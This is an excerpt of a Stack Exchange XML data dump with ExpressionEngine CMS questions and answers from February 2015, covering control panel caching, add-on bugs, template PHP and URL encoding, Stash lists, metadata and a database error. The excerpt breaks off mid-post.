  <row Id="28816" PostTypeId="1" AcceptedAnswerId="28822" CreationDate="2015-02-03T23:27:35.453" Score="1" ViewCount="93" Body="&lt;p&gt;I'm helping run an EE site that's developed a really strange problem that my other EE installs seem to have, even if they are on the same webhost and reseller hosting account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on is that control panel pages seem to keep getting cached. You'll do an action, and it will clearly be successful (you'll still get the green checkmark) but the reloaded page will be unchanged. Then you'll do a hard refresh on the page, and you'll definitely see it changed. Sometimes this problem is stubborn though, and you'll have to hard reload. This makes it difficult to change almost anything in the CP, like turning add-ons on and off, updating entries, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like this is either a very worrisome problem on a specific EE install, or a trivial issue I can change by updating a setting. Does anyone know why my site might be doing this? Interestingly, the front end of the site is not affected at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like it might be related to this issue but there were no answers suggested. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site has existed since it was EE1 and went through an EE2 update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I've done:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;cleared all caches in Tools &gt; Data &gt; Clear Cache &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;— checked that cache folder and subfolder are set to 777&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;made sure no template uses Template Caching (even though those are front facing) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm running EE 2.9.2 and don't have any exotic caching plugins enabled, though I use Solspace Template Morsels. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks everyone.&lt;/p&gt;&#xA;" OwnerUserId="330" LastActivityDate="2015-02-04T13:41:38.093" Title="ExpressionEngine CP pages always seem to cache" Tags="|control-panel|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28819" PostTypeId="2" ParentId="28815" CreationDate="2015-02-04T09:00:53.837" Score="3" Body="&lt;p&gt;The image problem is usually caused by the setup at your hosting provider (Nexcess?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe you can fix this by setting the correct base path for CE Image, &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/common-solutions&quot; rel=&quot;nofollow&quot;&gt;as described here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;And this is an example of how to set it at Nexcess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['ce_image_document_root'] = '/chroot/home/account/domain/html';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="222" LastEditorUserId="222" LastEditDate="2015-02-04T13:35:17.167" LastActivityDate="2015-02-04T13:35:17.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28822" PostTypeId="2" ParentId="28816" CreationDate="2015-02-04T13:41:38.093" Score="2" Body="&lt;p&gt;EE Control Panel is never being cached by ExpressionEngine itself.&#xA;The chances are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It is cached server-side by third-party server tools (you might want to talk to your hoster about that)&lt;/li&gt;&#xA;&lt;li&gt;It is cached by your ISP, if you use proxy server&lt;/li&gt;&#xA;&lt;li&gt;It is your browser's cache&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As one possible way around, try changing Control Panel Session Type in preferences to different setting.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-04T13:41:38.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28824" PostTypeId="1" AcceptedAnswerId="28843" CreationDate="2015-02-04T15:34:27.037" Score="0" ViewCount="63" Body="&lt;p&gt;(EE 2.9.2, Low Vars 2.5.0, and Content Elements 1.7.0)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a variable in Low Vars (LV) and made it a Content Elements (CE) type. By default (and understandably yet still annoyingly, I might add), CE displays all possible field types it can handle in new variables: Code, Gallery, Heading, Rich Text, etc. So I go about the usual routine of deleting them all to clear the board for my own custom-named fields, including things like &quot;Image (full width)&quot;, &quot;Image (on left)&quot;, &quot;Image (on right)&quot;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then click on the &quot;Save Changes&quot; button, and it loads up the screen where I can begin to add the different CE types as I please and populate them with content... except after all the custom fields I created, I see all the default fields as if they had never been deleted... O.o&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going back in to the CE var's settings, I do indeed see my fields followed by all the default fields. Leaving things as-is and clicking &quot;Save Changes&quot; results in 3 sets of fields to select from - my custom ones, and then &lt;em&gt;2 sets&lt;/em&gt; of the default CE fields. o.O&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So each time I save the CE variable, it re-adds the default set of fields. :-/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might add that the process of saving changes and/or loading the page after that takes an inordinately long time - 45-60 seconds or so. The rest of the EE backend typically responds in a couple of seconds. &gt;.&amp;lt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2015-02-05T12:31:07.523" Title="The default field selection in a Content Elements variable in Low Variables keeps self-replicating" Tags="|low-variables|bug|content-elements|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28825" PostTypeId="2" ParentId="26075" CreationDate="2015-02-04T16:14:39.843" Score="1" Body="&lt;p&gt;It's not going to help you specifically, but titles are put through a typography filter you have no control over. Maybe use the query module to access title data when generating your entries, that should bypass the filter because it's direct from the db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had the same issue in reverse. Client wanted proper typography but WYGWAM would strip them and they didn't want to lose the functionality WYGWAM gave them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had to add a core hack to WYGWAM ultimately.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2015-02-04T16:14:39.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28830" PostTypeId="1" AcceptedAnswerId="28832" CreationDate="2015-02-04T18:58:57.267" Score="2" ViewCount="114" Body="&lt;p&gt;&lt;strong&gt;EE Version. 2.7.3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running rawurlencode on a field in a channel called description to encode it to pass on correctly to twitters sharing url string inside my template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example input:&lt;/strong&gt; Check Out Company Names Latest Post!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so the result should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Check%20Out%20Company%20Names%20Latest%20Post!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I echo it outside of the anchor tag it renders correctly with the proper encoding, but as soon as I echo out the variable inside the anchor tag, the %20 encoding is not rendered and regular spaces are in the URL again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php   &#xA;    $description =  rawurlencode('{description}');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;a href=&quot;http://twitter.com/home?status=&amp;lt;?php echo $description; ?&amp;gt; {site_url}&quot; class=&quot;popup&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what's wrong?&lt;/p&gt;&#xA;" OwnerUserId="3046" LastActivityDate="2015-02-04T19:32:04.020" Title="rawurlencode not rendering correctly in anchor tag?" Tags="|ee2|templates|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28831" PostTypeId="1" AcceptedAnswerId="28834" CreationDate="2015-02-04T19:11:19.917" Score="0" ViewCount="84" Body="&lt;p&gt;In V2.7 when you used the embed media toolbar button it automatically wrapped the embed code in a div with a class of embed_media.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In V3.3.3 this no longer happens. The first time I did it it was just wrapped in a P tag, the next time it was a Div, but with no class. This makes applying CSS formatting for responsive sizing impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a fix for this?&lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2015-02-04T21:46:24.207" Title="Wygwam embed media class missing" Tags="|wygwam|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28832" PostTypeId="2" ParentId="28830" CreationDate="2015-02-04T19:32:04.020" Score="2" Body="&lt;p&gt;It looks like you need to &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/php.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;enable PHP in your template.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could use a plugin for the URL encoding. For example &lt;a href=&quot;https://devot-ee.com/add-ons/url-encode&quot; rel=&quot;nofollow noreferrer&quot;&gt;URL Encode&lt;/a&gt; or &lt;a href=&quot;https://devot-ee.com/add-ons/ce-string&quot; rel=&quot;nofollow noreferrer&quot;&gt;CE String.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's generally considered not the best practice to enable PHP in templates when an existing plugin or a custom-built plugin allows you to avoid it. Some rationale for that is in this Stack Overflow post, &lt;a href=&quot;https://stackoverflow.com/questions/13096532/is-there-ever-a-good-reason-to-use-php-inside-expressionengine-templates&quot;&gt;Is there ever a good reason to use PHP inside ExpressionEngine templates?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-02-04T19:32:04.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28834" PostTypeId="2" ParentId="28831" CreationDate="2015-02-04T21:46:24.207" Score="0" Body="&lt;p&gt;Whilst the plugin is missing there is a solution to wrap an iframe in a div and give it a class. &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/16758/wygwam-automatically-wrap-media-embed-with-custom-html&quot;&gt;See this answer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="483" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-02-04T21:46:24.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28835" PostTypeId="1" CreationDate="2015-02-05T01:53:17.660" Score="1" ViewCount="191" Body="&lt;p&gt;Still pretty new to EE.  Running EE 2.9.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a couple of third_party downloads but to no avail:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SP Title Filler&lt;/li&gt;&#xA;&lt;li&gt;MX Title Control&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I disable the required title field entirely?  It keeps popping up as a required field.  I understand it is required for editing the entry (having a link to click on).  But can I generate this title based on some other channel fields included in the channel group?&lt;/p&gt;&#xA;" OwnerDisplayName="user5017" LastActivityDate="2015-02-05T05:31:59.160" Title="Disabling the Required *Title Field" Tags="|title|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28836" PostTypeId="2" ParentId="28835" CreationDate="2015-02-05T05:31:59.160" Score="1" Body="&lt;p&gt;According to the blurb for &lt;a href=&quot;https://devot-ee.com/add-ons/mx-title-control&quot; rel=&quot;nofollow&quot;&gt;MX Title&lt;/a&gt; it can combine a combination of elements to achieve that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;For patterns you can used any of exist EE2 tags (category, &lt;strong&gt;all custom fields,&lt;/strong&gt; plug-ins etc.) successfully tested with EE 2.9.2&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to then require all your custom fields but it should work. What did you actually try?&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-02-05T05:31:59.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28837" PostTypeId="1" AcceptedAnswerId="28856" CreationDate="2015-02-05T07:59:32.403" Score="0" ViewCount="68" Body="&lt;p&gt;So {vehicle_make} is the channel field I have created, and it's using a dropdown select. I have entered in 100 vehicle make names, line by line, into this dropdown select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I would like show the appropriate {vehicle_emblem} image linked to each {vehicle_make} on my template.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;My first question is with how to link these two channels together:  If I pull the {vehicle_make} of Acura (based on segment_3 possibly, if my URL structure is example.com/browse/make/acura), how can I show the {vehicle_emblem} image of the Acura logo next to the {vehicle_make} word of &quot;Acura&quot;?&lt;/li&gt;&#xA;&lt;li&gt;My second question is how do I link from a list view template page to a details view template page, of the generated {vehicle} channel group content?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerDisplayName="user5017" LastActivityDate="2015-02-05T20:20:11.147" Title="New to EE 2.9.2 - Linking Content Together" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28838" PostTypeId="2" ParentId="28759" CreationDate="2015-02-05T09:19:21.620" Score="0" Body="&lt;p&gt;I've contacted Mark Croxton, author of Stash, and he has &lt;a href=&quot;https://devot-ee.com/add-ons/support/stash/viewthread/14591&quot; rel=&quot;nofollow&quot;&gt;answered this question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3772" LastActivityDate="2015-02-05T09:19:21.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28839" PostTypeId="1" CreationDate="2015-02-05T09:35:34.573" Score="0" ViewCount="42" Body="&lt;p&gt;I've taken over an EE project on which Importer has already been installed but not used yet (there are no Profiles set).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to set up a profile, even though I have the correct ftp details for the file I get an Ajax error: AJAX Request was not successful. I know the ftp details are correct as I can connect via Filezilla using the same credentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I ignore that failure and 'Continue' I get some PHP errors. The first is a warning:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: require_once(/mnt/www/xyz.co.uk/system/codeigniter/system/libraries/FTP.php): failed to open stream: No such file or directory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: libraries/Solspace_ftp.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 16&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second is an error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: require_once(): Failed opening required '/mnt/www/xyz.co.uk/system/codeigniter/system/libraries/FTP.php' (include_path='.:/usr/share/php:/usr/share/pear') in /mnt/www/xyz.co.uk/system/expressionengine/third_party/importer/libraries/Solspace_ftp.php on line 16&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has the module been set up incorrectly? Or am I missing something obvious?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks - Jon&lt;/p&gt;&#xA;" OwnerUserId="5018" LastActivityDate="2015-02-07T04:24:25.157" Title="Solspace Importer not set up correctly?" Tags="|ee|solspace-importer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28841" PostTypeId="1" AcceptedAnswerId="28948" CreationDate="2015-02-05T10:38:32.080" Score="2" ViewCount="6086" Body="&lt;p&gt;I am recently experiencing problems with metadata for Facebook and I was wondering if any other EE user has experienced the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In principle, the code should be fine and was actually working till not long ago. At some point it stopped doing so and FB scraps no content for og:description (and neither for meta:description for that matter). I thought it might have been aproblem with my descriptions starting with the &lt;p&gt; tag so I installed streeng and did this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;og:type&quot; content=&quot;article&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;og:title&quot; content=&quot;{pages_title}&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;og:description&quot; {exp:streeng allowed=&quot;none&quot;}content=&quot;{pages_summary}&quot;{/exp:streeng}&amp;gt;&#xA;{if picture}&#xA;&amp;lt;meta property=&quot;og:image&quot; content=&quot;{picture}&quot;&amp;gt;&#xA;{if:else}&#xA;&amp;lt;meta property=&quot;og:image&quot; content=&quot;http://www.ecfr.eu/page/-/logoxfb.png?v=1415186136948&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;og:url&quot; content=&quot;{url_title_path='article'}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but still no result. All other meta works.. any idea?&lt;/p&gt;&#xA;" OwnerUserId="5019" LastActivityDate="2015-02-11T00:35:43.103" Title="og:description not pulling contents from meta" Tags="|facebook|metadata|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28842" PostTypeId="1" CreationDate="2015-02-05T12:00:12.343" Score="0" ViewCount="89" Body="&lt;p&gt;First of all I will collect all the website categories in a particular category group. Then, for each category group I will generate my Markup that will be fed to Jquery to generate navigational tabs. So far so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I will fetch (inside the category loop) the channel entries and I would like them to be actually filtered by category_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get no output with this code:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- HERE I AM COLLECTING THE WEBSITE CATEGORIES --&amp;gt;&#xA;&#xA;    {exp:stash:set_list name=&quot;categories&quot; scope=&quot;site&quot; parse_tags=&quot;yes&quot;}&#xA;        {exp:channel:categories category_group=&quot;1&quot;}&#xA;        {stash:cat_name}{category_url_title}{/stash:cat_name}&#xA;        {stash:cat_id}{category_id}{/stash:cat_id}&#xA;        {/exp:channel:categories}&#xA;    {/exp:stash:set_list}&#xA;&#xA;&amp;lt;!-- HERE I AM COLLECTING THE CHANNEL ENTRIES --&amp;gt;    &#xA;    {exp:stash:set_list name=&quot;where&quot; parse_tags=&quot;yes&quot; process=&quot;end&quot; parse_depth=&quot;3&quot;}&#xA;        {exp:channel:entries channel=&quot;dove_siamo&quot; dynamic=&quot;no&quot;}&#xA;        {stash:item_entry_id}{entry_id}{/stash:item_entry_id}&#xA;                    {categories}&#xA;                    {stash:this_category}{category_id}{/stash:this_category}&#xA;                    {/categories}&#xA;            {exp:stash:set_list:nested name=&quot;address&quot; context=&quot;{entry_id}&quot; parse_tags=&quot;yes&quot; }&#xA;                    {address}&#xA;                        {stash:via}{via}{/stash:via}&#xA;                        {stash:cap}{cap}{/stash:cap}&#xA;                        {stash:citta}{citta}{/stash:citta}&#xA;                        {stash:ospedale}{ospedale}{/stash:ospedale}&#xA;                        {stash:altro}{altro}{/stash:altro}&#xA;                        {stash:centralino}{centralino}{/stash:centralino}&#xA;                    {/address}&#xA;            {/exp:stash:set_list:nested}&#xA;        {/exp:channel:entries}&#xA;    {/exp:stash:set_list} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;    &#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:stash:get_list name=&quot;categories&quot;} &#xA;               &amp;lt;div id=&quot;{cat_name}&quot;&amp;gt;&#xA;                    &amp;lt;section class=&quot;quick-info&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;vcard&quot;&amp;gt;&#xA;                            &amp;lt;h4&amp;gt;Dove siamo&amp;lt;/h4&amp;gt;&#xA;                            &amp;lt;p&amp;gt;{cat_id}&amp;lt;/p&amp;gt;&#xA;                            {exp:stash:get_list:nested name=&quot;where&quot; match=&quot;#^{this_category}$#&quot; against=&quot;cat_id&quot;}&#xA;                            &amp;lt;p&amp;gt;{this_category}&amp;lt;/p&amp;gt;&#xA;                                {exp:stash:get_list:nested_1 name=&quot;address&quot; context=&quot;{item_entry_id}&quot;}&#xA;                                &amp;lt;span class=&quot;adr&quot;&amp;gt;{via} {cap} - {citta}&amp;lt;/span&amp;gt;&amp;lt;/br&amp;gt;&#xA;                                &amp;lt;span class=&quot;adr&quot;&amp;gt;{ospedale}&amp;lt;/span&amp;gt;&amp;lt;/br&amp;gt;&#xA;                                &amp;lt;span class=&quot;adr&quot;&amp;gt;{altro}&amp;lt;/span&amp;gt;&#xA;                                {/exp:stash:get_list:nested_1}&#xA;                            {/exp:stash:get_list:nested}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/section&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2015-02-05T12:00:12.343" Title="Stash filter entries by categories using match / against" Tags="|categories|stash|filter|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28843" PostTypeId="2" ParentId="28824" CreationDate="2015-02-05T12:31:07.523" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I then click on the &quot;Save Changes&quot; button, and it loads up the screen&#xA;  where I can begin to add the different CE types as I please and&#xA;  populate them with content... except after all the custom fields I&#xA;  created, I see all the default fields as if they had never been&#xA;  deleted... O.o&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Today has been released new version of Content Elements and this bug has been fixed.&lt;/p&gt;&#xA;" OwnerUserId="5020" LastActivityDate="2015-02-05T12:31:07.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28844" PostTypeId="1" CreationDate="2015-02-05T13:11:48.680" Score="1" ViewCount="165" Body="&lt;p&gt;My site was working just fine, when all of a sudden editing certain pages lead to the error below.&#xA;Now it seems as if i'm also not able to create entries in that channel anymore. After hitting submit i keep getting these errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help is geatly appreciated, since this is a live site...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am running EE 2.8.1 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Database Error Occurred&#xA;Error Number: 1064&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Transfer Needs for Europe's Biggest Sides in Summer,229,682,725,193,188,447,109,' at line 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SELECT entry_id, channel_id, title, url_title, status FROM exp_channel_titles WHERE entry_id IN (1,303,55,305,103,166,170,168,167,165,4,2,466,56,726,8,13,64,5,169,106,65,174,3,63,306,100,727,186,58,14,420,753,242,489,236,286,327,256,250,549,255,247,323,258,15 Transfer Needs for Europe's Biggest Sides in Summer,229,682,725,193,188,447,109,77,432) ORDER BY entry_id DESC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: /path/to/public_html/assets/addons/wygwam/helper.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 1200&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2015-02-05T15:15:52.073" Title="cannot update certain entries, error 1064" Tags="|wygwam|error|php-errors|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28845" PostTypeId="2" ParentId="28762" CreationDate="2015-02-05T14:11:55.213" Score="1" Body="&lt;p&gt;Instead of sorting based on the &lt;em&gt;contents&lt;/em&gt; of the TD, it would probably be better to set a data attribute to that TD and sort by that value. So instead of... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td&amp;gt;2 Authors&amp;lt;br&amp;gt;Joe Bloggs&amp;lt;br&amp;gt;Bloggsy Malone&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would want &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td data-primary_author=&quot;Joe Bloggs&quot;&amp;gt;2 Authors&amp;lt;br&amp;gt;Joe Bloggs&amp;lt;br&amp;gt;Bloggsy Malone&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which could be achieved with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td data-primary_author=&quot;{exp:playa:parents channel='author' limit='1'}{title}{/exp:playa:parents}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'd also have to adjust your JavaScript to sort by data attribute rather than contents.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2015-02-05T14:11:55.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28847" PostTypeId="1" CreationDate="2015-02-05T14:43:32.057" Score="0" ViewCount="179" Body="&lt;p&gt;Trying to display different link for one entry (&lt;code&gt;thing1&lt;/code&gt;) inside channel entries loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=“things”}&#xA;&#xA;     &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;     &amp;lt;p&amp;gt;{description}&amp;lt;/p&amp;gt;&#xA;&#xA;     {if url_title == ’thing1’}&#xA;     &amp;lt;a href=“somecustomlink.html”&amp;gt;Read more&amp;lt;/a&amp;gt;&#xA;     {if:else}&#xA;     &amp;lt;a href=“{path=’things’}/{url_title}”&amp;gt;Read more&amp;lt;/a&amp;gt;&#xA;     {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Problem is, that EE uses to compare &lt;code&gt;{url_title}&lt;/code&gt; with current template, not with “things” channel entrie's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to write this conditional?&lt;/p&gt;&#xA;" OwnerUserId="3058" LastActivityDate="2016-06-12T08:28:46.913" Title="Using conditional for displaying special content to specific entry" Tags="|channel-entries|conditionals|loop|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28848" PostTypeId="2" ParentId="28844" CreationDate="2015-02-05T15:15:52.073" Score="3" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/03BMS.png&quot; alt=&quot;enter image description here&quot;&gt;&quot;Transfer Needs for Europe's Biggest Sides in Summer&quot; isn't an entry_id and should not be in the where in clause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wygwam is pulling those entry ids from EE's page ids. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the page module and any config overrides.&lt;/p&gt;&#xA;" OwnerUserId="625" LastActivityDate="2015-02-05T15:15:52.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28849" PostTypeId="2" ParentId="6683" CreationDate="2015-02-05T15:21:56.553" Score="0" Body="&lt;p&gt;An unserialise error with extensions probably means extension settings. Try disabling each extension one by one (backup first)&lt;/p&gt;&#xA;" OwnerUserId="625" LastActivityDate="2015-02-05T15:21:56.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28850" PostTypeId="1" CreationDate="2015-02-05T16:31:58.183" Score="0" ViewCount="86" Body="&lt;p&gt;I have just downloaded the latest EE from Ellis Lab today. I am trying to create various child pages, each with a different template. Is this possible? I keep getting the following message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;An Error Was Encountered&#xA;You are not authorized to access this page&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this message doesnt occur, the parent template is inherited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1916" LastActivityDate="2015-02-06T10:42:12.927" Title="Child Page templates" Tags="|channel-entries|templates|structure|pages|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28851" PostTypeId="1" CreationDate="2015-02-05T17:09:46.640" Score="0" ViewCount="138" Body="&lt;p&gt;This is a strange issue, I can't get the channel entries tag to sort by category.  I only want entries that are in this category to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you remove the category=&quot;13&quot; it produces results but if it's there it will not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;people&quot; category=&quot;13&quot; limit=&quot;10&quot; paginate=&quot;bottom&quot;}&#xA;     &amp;lt;div class=&quot;person&quot;&amp;gt;&#xA;          {exp:ce_img:single src=&quot;http://XXXX.com/images/member_photos/{photo_filename}&quot; max=&quot;125&quot; }&#xA;          &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{path=people/detail}/{member_id}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;          &amp;lt;p&amp;gt;{person_excerpt}&amp;lt;/p&amp;gt;&#xA;          &amp;lt;br class=&quot;clear_both&quot; /&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;    {paginate}&#xA;         &amp;lt;div id=&quot;pagination&quot;&amp;gt;                                                              &#xA;              {pagination_links}   &#xA;         &amp;lt;/div&amp;gt;&#xA;    